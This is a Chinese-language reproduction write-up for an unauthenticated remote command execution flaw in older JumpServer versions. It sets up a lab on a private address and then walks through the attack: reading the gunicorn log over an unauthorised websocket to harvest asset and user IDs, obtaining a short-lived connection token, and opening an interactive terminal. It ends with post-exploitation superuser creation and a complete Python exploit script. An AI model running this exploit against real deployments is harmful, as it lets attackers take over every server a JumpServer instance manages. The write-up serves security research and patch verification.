0x01 简介
0x02 漏洞原理
远程命令执行漏洞:由于 JumpServer 某些接口未做授权限制,攻击者可构造恶意请求获取到日志文件获取敏感信息,再通过敏感信息获取一个20s的token,最后利用这个token去执行相关API操作控制其中所有机器或者执行任意命令。
0x03 影响版本:
- JumpServer < v2.6.2
 
- JumpServer < v2.5.4
 
- JumpServer < v2.4.5
 
- JumpServer = v1.5.9
 
0x04 复现环境搭建注意坑点
环境搭建推荐使用一键安装,因为环境比较麻烦,而且还得是旧版的,这里是v2.6.1
安装脚本V2.6.1 https://www.o2oxy.cn/wp-content/uploads/2021/01/quick\_start.zip


http://10.211.55.22:8080/core/auth/login/
登陆之后还不能直接用,还有配置一下,分配一下服务器才能使用。


1、创建一个系统用户
- 系统用户是 JumpServer 跳转登录资产时使用的用户
 

2、创建管理用户
管理用户是资产(被控服务器)上的 root,或拥有 NOPASSWD: ALL sudo 权限的用户
我的被管理主机就是 root root

3、创建资产
就是要管理的终端

4、资产授权
只有给资产授权,控制台才有机器,才能管理

5、web终端连接
访问web终端:
1
   | http://10.211.55.22:8080/luna/
   | 
 

0x05 漏洞复现
1、请求未授权 socketweb
1
   | ws://10.211.55.22:8080/ws/ops/tasks/log/
   | 
 
利用chrome插件https://chrome.google.com/webstore/detail/websocket-test-client/fgponpodhbmadfljofbimhhlengambbn/related
请求log文件
1
   | {"task":"/opt/jumpserver/logs/gunicorn"}
  | 
 

2、获取system_user user_id asset_id 这三个重要参数
自己搜索一下这三个id

所以获取到的是
1
   | asset_id=230f921b-be1c-4343-8bab-57d4410606bb&cache_policy=1&system_user_id=03705092-18e7-4b65-a12a-7991f9c50740&user_id=0cae929c-5f7a-41a4-b873-bc9d28613c4c 
   | 
 
3、对应填入EXP中
exp为了美观放到最后
1 2 3 4 5 6 7 8 9
   | 文件最后需要修改的:
  host = "http://10.211.55.22:8080"
  data = {         "user": "0cae929c-5f7a-41a4-b873-bc9d28613c4c",         "asset": "230f921b-be1c-4343-8bab-57d4410606bb",         "system_user": "03705092-18e7-4b65-a12a-7991f9c50740",     }
   | 
 
4、成功利用:

后利用:创建超管
获取到shell,我们可以直接创建超管,毕竟主机权限没什么用,登陆系统之后才有大量的主机。
命令行创建超管
1 2 3 4
   | 切换到目录   cd /opt/jumpserver/apps
  python manage.py createsuperuser
   | 
 

超管登陆成功

EXP
EXP 代码 仓库 https://github.com/Skactor/jumpserver\_rce
我实测,这个手动获取 asset_id system_user_id user_id 这三个可以正常触发漏洞,但是好多自动化获取多少有点问题,反正我的是没成功。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92
   | import os
  import asyncio import aioconsole
  import websockets import requests import json
  url = "/api/v1/authentication/connection-token/?user-only=1"
 
  def get_celery_task_log_path(task_id):     task_id = str(task_id)     rel_path = os.path.join(task_id[0], task_id[1], task_id + ".log")     path = os.path.join("/opt/jumpserver/", rel_path)     return path
 
  async def send_msg(websocket, _text):     if _text == "exit":         print(f'you have enter "exit", goodbye')         await websocket.close(reason="user exit")         return False     await websocket.send(_text)
 
  async def send_loop(ws, session_id):     while True:         cmdline = await aioconsole.ainput()         await send_msg(             ws,             json.dumps(                 {"id": session_id, "type": "TERMINAL_DATA", "data": cmdline + "\n"}             ),         )
 
  async def recv_loop(ws):     while True:         recv_text = await ws.recv()         ret = json.loads(recv_text)         if ret.get("type", "TERMINAL_DATA"):             await aioconsole.aprint(ret["data"], end="")
 
  # 客户端主逻辑 async def main_logic():     print("#######start ws")     async with websockets.connect(target) as client:         recv_text = await client.recv()         print(f"{recv_text}")         session_id = json.loads(recv_text)["id"]         print("get ws id:" + session_id)         print("###############")         print("init ws")         print("###############")         inittext = json.dumps(             {                 "id": session_id,                 "type": "TERMINAL_INIT",                 "data": '{"cols":164,"rows":17}',             }         )         await send_msg(client, inittext)         await asyncio.gather(recv_loop(client), send_loop(client, session_id))
 
  if __name__ == "__main__":     host = "http://10.211.55.22:8080"     cmd = "whoami"     if host[-1] == "/":         host = host[:-1]     print(host)     data = {         "user": "0cae929c-5f7a-41a4-b873-bc9d28613c4c",         "asset": "230f921b-be1c-4343-8bab-57d4410606bb",         "system_user": "03705092-18e7-4b65-a12a-7991f9c50740",     }     print("##################")     print("get token url:%s" % (host + url,))     print("##################")     res = requests.post(host + url, json=data)     token = res.json()["token"]     print("token:%s", (token,))     print("##################")     target = (         "ws://" + host.replace("http://", "") + "/koko/ws/token/?target_id=" + token     )     print("target ws:%s" % (target,))     asyncio.get_event_loop().run_until_complete(main_logic())
 
   |